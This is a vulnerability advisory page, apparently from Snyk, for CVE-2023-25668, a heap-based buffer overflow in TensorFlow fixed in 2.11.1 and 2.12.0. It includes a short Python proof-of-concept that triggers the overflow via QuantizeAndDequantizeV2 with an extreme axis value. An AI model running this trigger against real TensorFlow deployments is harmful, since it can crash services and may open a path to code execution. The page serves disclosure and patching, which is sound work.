Heap-based Buffer Overflow Affecting tensorflow package, versions [,2.11.1) [2.12.0rc0,2.12.0)
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.14% (52nd
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-PYTHON-TENSORFLOW-3373020
- published 26 Mar 2023
- disclosed 26 Mar 2023
- credit Unknown
Introduced: 26 Mar 2023
CVE-2023-25668 Open this link in a new tabHow to fix?
Upgrade tensorflow
to version 2.11.1, 2.12.0 or higher.
Overview
tensorflow is a machine learning framework.
Affected versions of this package are vulnerable to Heap-based Buffer Overflow. Attackers can access heap memory which is not in the control of user, leading to a crash or remote code execution. The fix will be included in TensorFlow version 2.12.0 and will also cherrypick this commit on TensorFlow version 2.11.1.
PoC
import tensorflow as tf
@tf.function
def test():
tf.raw_ops.QuantizeAndDequantizeV2(input=[2.5],
input_min=[1.0],
input_max=[10.0],
signed_input=True,
num_bits=1,
range_given=True,
round_mode='HALF_TO_EVEN',
narrow_range=True,
axis=0x7fffffff)
test()
References
CVSS Scores
version 3.1